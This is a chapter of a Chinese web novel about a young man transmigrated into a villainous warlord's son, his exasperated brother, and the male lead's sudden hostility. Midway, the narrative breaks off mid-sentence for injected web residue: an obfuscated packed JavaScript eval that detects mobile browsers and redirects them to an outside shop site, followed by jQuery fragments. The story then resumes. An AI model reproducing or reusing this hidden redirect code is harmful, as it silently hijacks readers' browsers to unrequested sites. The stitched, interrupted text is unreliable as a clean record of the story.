简直太可恶了!
姜唯一回帅府就扑倒了床上,狠狠打了几下枕头:“他怎么能那样啊!”
他长这么大还没跟人牵过手呢!姜唯愤恨极了,男主吃他的饭,用的钱,竟……竟然还敢那么对他!姜唯说不清楚自己为什么这么生气,坐在床上想了半天才回过味来:
“系统,我是不是被男主耍了?”
系统:……
被男主跟逗猫似得耍了这么多回,才反应过来吗?
系统真是没话讲,它还以为姜唯是爱面子没表现出来,没想到他是真没反应过来。系统再一次认识到它这回是真栽了,签了个笨蛋,但现在说什么也晚了。
“他竟然敢耍我!” 姜唯的脸渐渐涨红,愤怒地道:“他怎么敢的!”
系统:……还不是因为你现在牛皮哄哄,一见到男主就尿。
这话它只敢在心里说说,真让姜唯知道肯定会跳脚,嘴上只好哄道:「这些都是小事,剧情走过就可以了。」
姜唯果然被转移了注意力:“那剧情进度怎么样?”
系统查了一下,语气变得犹豫:「……15.3%」
姜唯惊了:“怎么只有这么点儿?!”
系统也很无奈,姜唯实在是太不争气了,每次跟男主见面都被对方牵着鼻子走,台词能说一两句都算不错了,而且他的语气和状态都跟原书差太远了!原书里的反派是嚣张跋扈,姜唯却在男主面前唯唯诺诺。
系统真是愁得头发都要掉了,正想着要怎么委婉地指出姜唯的问题,就忽然听到他说:
“都怪他!”
姜唯气得咬牙,恨恨地道:
“都怪乔山越不按剧情走,他太过分了!”
原书里这段情节是张子鸣和扮成戏子的男主你来我往,每次想占男主的便宜都被对方用技巧化解。到了他这里乔山越就跟吃错了药一样,还敞开衣服非要他摸,真不要脸!
姜唯用力锤了一下枕头,骂道:“都不按剧情来还算什么男主!”
系统旁观他皱着小脸拿鹅绒枕头撒气,觉得都能听到猫叫。如果说原书的张子鸣是条毒蛇,那姜唯就是只爪子都没张齐的小奶猫,气急了也只会喵喵叫,它要是男主也不会把他放在眼里。
系统用识海翻了个白眼,耐下性子安抚道:「宿主,你冷静点——」
姜唯拿起枕头就往外扔:“气死我了——”
下一瞬,卧室的门被人拉开,来人单手接住枕头,后面露出张男人的脸。
张维筠皱着眉:“你干什么?“
姜唯被他不爽的表情震了一下,随即反应过来,抬高了声音道:“你进我房间来干什么?出去!”
张维筠本来也没想进他的房间,如果不是他们的爹命他来传话他根本懒得搭理这个三弟。但见姜唯一副跳脚的样子他反倒不急着走了,而是挑了挑眉,上前几步左右看了看,竟拉出了把椅子坐了下来。
姜唯瞳孔巨震,差点没一口气抽过去:“他竟然不脱鞋!!”
这个人居然穿着军靴就进了他的卧室!!
系统:……现在的重点是这个吗?
张维筠在他恶狠狠的瞪视下露出一个假笑:“大白天的,三弟生什么气呢?”
姜唯怒视他:“关你什么事?你给我出去!”
说罢他又气急败坏地扔出了个枕头,张维筠这次都懒得挡,侧头躲了过去,让枕头软绵绵地掉在了地上。他回过目光,见姜唯满脸恼怒地坐在床榻上,其实是有点疑惑的。
以他对这个弟弟的了解,飞过来的应该是匕首而不是枕头,再不济也应该是烟灰缸,扔枕头这种小儿女撒气一样行为不应该出现在他们张家人身上。
张维筠看向气呼呼坐在床榻上的姜唯,又发现这个房间的布置似乎是换了,他可记得他们兄弟的床铺上没有这么多层褥子,也没有这么多枕头,更没有桌上的那些小摆件——如果这不是在帅府,他恐怕会觉得这是哪位小姐的闺房。
张维筠不禁看向姜唯:“三弟,上回让你叫大夫来你叫了吗?”
姜唯先是一愣,而后气得瞪圆了眼睛:“你什么意思?你骂我有病对不对?”
张维筠看着他,他平日是不愿和这个弟弟言语上纠缠的,今天却神使鬼差地挑了挑眉,道:“三弟聪慧。”
姜唯哪里听不出他是在讽刺,气急地‘噌’地一下从榻上直起了身:“你!”
他‘你’了半天都没说出第二个字,张维筠靠在椅子上等了半天都没等到他的下文,皱了皱眉:“有什么话就说,跟个兔子似得立着干什么?”
姜唯差点被气死:“你说谁是兔子?你才全家都是兔子!”
他气疯了,没意识到这句话把他现在这具壳子也骂了进去。
张维筠看着他,倒是没生气,面上的笑容却是淡了。他这个弟弟虽然阴毒愚蠢,但好歹是在帅府的教育下长大,轻易不在人前露怯,特别是在他们两兄弟面前。而且他行事手段狠辣,之前几乎每个月都会背地里整出些乱子来。然而近日来帅府上下竟然异常安静,连责打下人的事情都没有。张维筠之前还在心里暗暗警惕,觉得这个三弟或许是在密谋什么大事。
然而看着把床布置得像个兔子窝还瞪着眼睛跟他顶嘴的姜唯,张维筠心中的警惕有些动摇。
这个弟弟怎么还越活越……小家子气了呢?
张维筠上下打量了他两眼,觉得还是得叫个大夫来看看。
“我们家只有你一个人喜欢玩儿兔子。” 张维筠道,也懒得再跟他多说,直接道:“我来是告诉你,后日大帅要出征,你留下来把家看好。”
姜唯闻言一愣,随后想起来了这个情节。原书里张大帅出征,带走了两个嫡子,留下了张子鸣一个人守城。男主就是趁着这个空子忽然起兵夺了城,张子鸣毫无防备直接被打得狼狈出逃,把整座城加上帅府剩下的人马和资源都拱手让给了男主。
姜唯精神一震,倒不是为了守城,而是为了重要剧情的到来——他终于可以‘欺负’男主了!
在男主起兵之前,张子鸣曾狠狠欺辱过他一番。他不耐烦跟戏子‘秋燕’再周旋下去,直接领了兵包围了戏楼,想要□□男主。虽然最后被化解了过去,但男主被逼得喝了好多酒,还当众给张子鸣下跪。虽然第二天男主就忽然发难打了回去,但姜唯一想到乔山越那么嚣张的一个人给自己下跪,就觉得浑身舒坦。
“嗯。” 他对剧情期待不已,点了点头道:“我知道了。”
张维筠见状目光又变得有些古怪,以他对这个弟弟的了解,知道了大帅出征又不带他肯定是会闹一场的,就算最后还是不能去也一定会趁机讨些好处。而今天这人一反常态张口就答应了下来,张维筠却并不高兴,甚至心里还有点打鼓。他这个弟弟虽无谋略,但心狠手毒,又凶名在外,守住军营还是够用的。
但今天张维筠看着榻上青年一双清澈的眼睛,竟有些放不下心:“你一个人可以的吧?”
姜唯敷衍道:“嗯嗯。” 反正都守不住,他做做样子就行了。
张维筠皱着眉看了他一会儿,才站起身,在出门前又想起了什么,回过头道:“还有,你这几天就别往那戏子哪儿跑了,好好去几趟军营。”
姜唯闻言在心里撇嘴,他可是要去走剧情的!又‘嗯嗯’了两声。
张维筠看出他的敷衍,眉头皱得更紧,想开口斥责,但转念一想他又何必费这个口舌?都不是一个娘肚皮里生出来的。这么想着,张维筠闭上嘴转身打了帘子就走了,路上却还是皱着眉。到了军营被张卫擎看见,颇为新奇地问他道:
“那个又说了什么,让你愁成这样?”
‘那个’自然指张子鸣。
张维筠却是摇了摇头,道:“他没说什么。” 说罢,他看向自己这个大哥,犹豫了片刻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16794026|190612||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还是道:“大哥,你不觉得他最近有点不对吗?”
张卫擎看了他一眼:“怎么不对?”
张维筠默然,他脑中浮现出姜唯瞪圆的眼睛,竟然想说这个弟弟似是变’单纯‘了,什么心思都写在脸上,但想起之前他的所作所为,到底是没把话没有说出口:
“他……最近似是有点傻,我怕会有问题。”
张卫擎挑了挑眉,定定看了张维筠一眼,遂收回了目光:“恐怕心思都放在戏园子里吧,二弟,你可别被他蒙骗了。“
张维筠闻言,心里对姜唯’单纯‘的判断一下子被打散了,想到他一门心思往那腌臜地方钻,脸色冷淡下来,他为这么个上不得台面的玩意儿担心个什么劲儿:“谢大哥提醒。”
张卫擎点了点头,两人不再在这个人品低劣的弟弟身上面浪费时间,转而说起了正事。
姜唯不知道自己还被背后蛐蛐了一顿,第二天又起了个大早,带着饭菜直奔戏园子去了。
在城中四处打包来的精致餐点摆了一桌,姜唯想到自己不日就能给男主脸色看,开心得也不心疼这些好菜了,一边让人布菜一边笑着道:
“吃吧,都是你爱吃的。”
然而今天男主却有点奇怪。
乔山越坐在桌边,脸色不阴不阳,平时像个饕餮似得端起碗就吃,今天却坐了半天都没有动筷。
姜唯有些奇怪,把一笼包子往他面前送了送:“秋燕,你昨天不是说想吃十六桥的包子吗?吃吧,这可是现包的。”
乔山越却依旧是没动筷:“我今天又不想吃了。”
姜唯一愣,’哦‘了一声,转而拿来另一盘糕点:“那你吃这个吧,好吃的。”
乔山越看了他一眼,姜唯不知道他什么意思,只觉得今天男主有点怪怪的。
院子里的气氛一时有些冷凝,姜唯有点无措,不知道就一天没见男主忽然变了个样子。
过了好一会儿,乔山越才收回了目光,往椅背上一靠:“我口渴,想喝粥。”
姜唯闻言松了口气:“原来是想喝粥啊,有的有的。”
他连忙把粥端过来,放在乔山越面前,谁知男人扫了一眼就仰起头道:“手累,不想端。”
他这话一出,在场帅府的仆人都倒吸了口凉气,看乔山越的目光不禁带上了隐约的不满。虽然这位三少爷平日在府里也不得人心,但也不是这么个小戏子能踩到头上的。而且近日来三少爷挺消停的,众人看着他被这个戏子肆意差使,心中多少积了些不平。
姜唯也有些惊讶,却没有生气,他脑子不太聪明,骨子里比较习惯于路径依赖,这些天下来已经习惯被乔山越牵着鼻子走了。闻言第一反应竟然是端起了粥碗,舀出一勺凑到了男主嘴边:
”那我喂你吧。“
乔山越一顿,转头看向他。
姜唯对上他的目光,心下一颤。
下一瞬,他的手被挥开,粥碗掉到了地上。
’啪‘的一声,瓷碗摔了个粉碎。
姜唯的手上溅了粥,被烫得’啊‘了一声。这才终于生气了,捂着手背瞪大了眼睛看向男人:“你干什么?!“
然而他看到乔山越的表情,却骤然一顿。
乔越山脸上没有往日讨人厌的笑,垂视着他。
姜唯从他的目光里感到一阵悚然,下意识地想后退,却被抓住了手臂。
“三少爷——” 乔山越缓缓俯下身,在他耳边用只有两个人能听到的声音道:“你在其他人面前,也是这么犯贱的吗?“
姜唯一愣,瞳孔微微缩紧,几乎不敢相信自己听到了什么。
乔山越却是松开了他的手臂,看向惊住的姜唯:
“我不知道你想在我身上得到什么,但你是得不到的。”
他转头一脚踢翻了饭桌,在众人的惊呼声中站起身:
“你可以滚了,别让我再看见你。”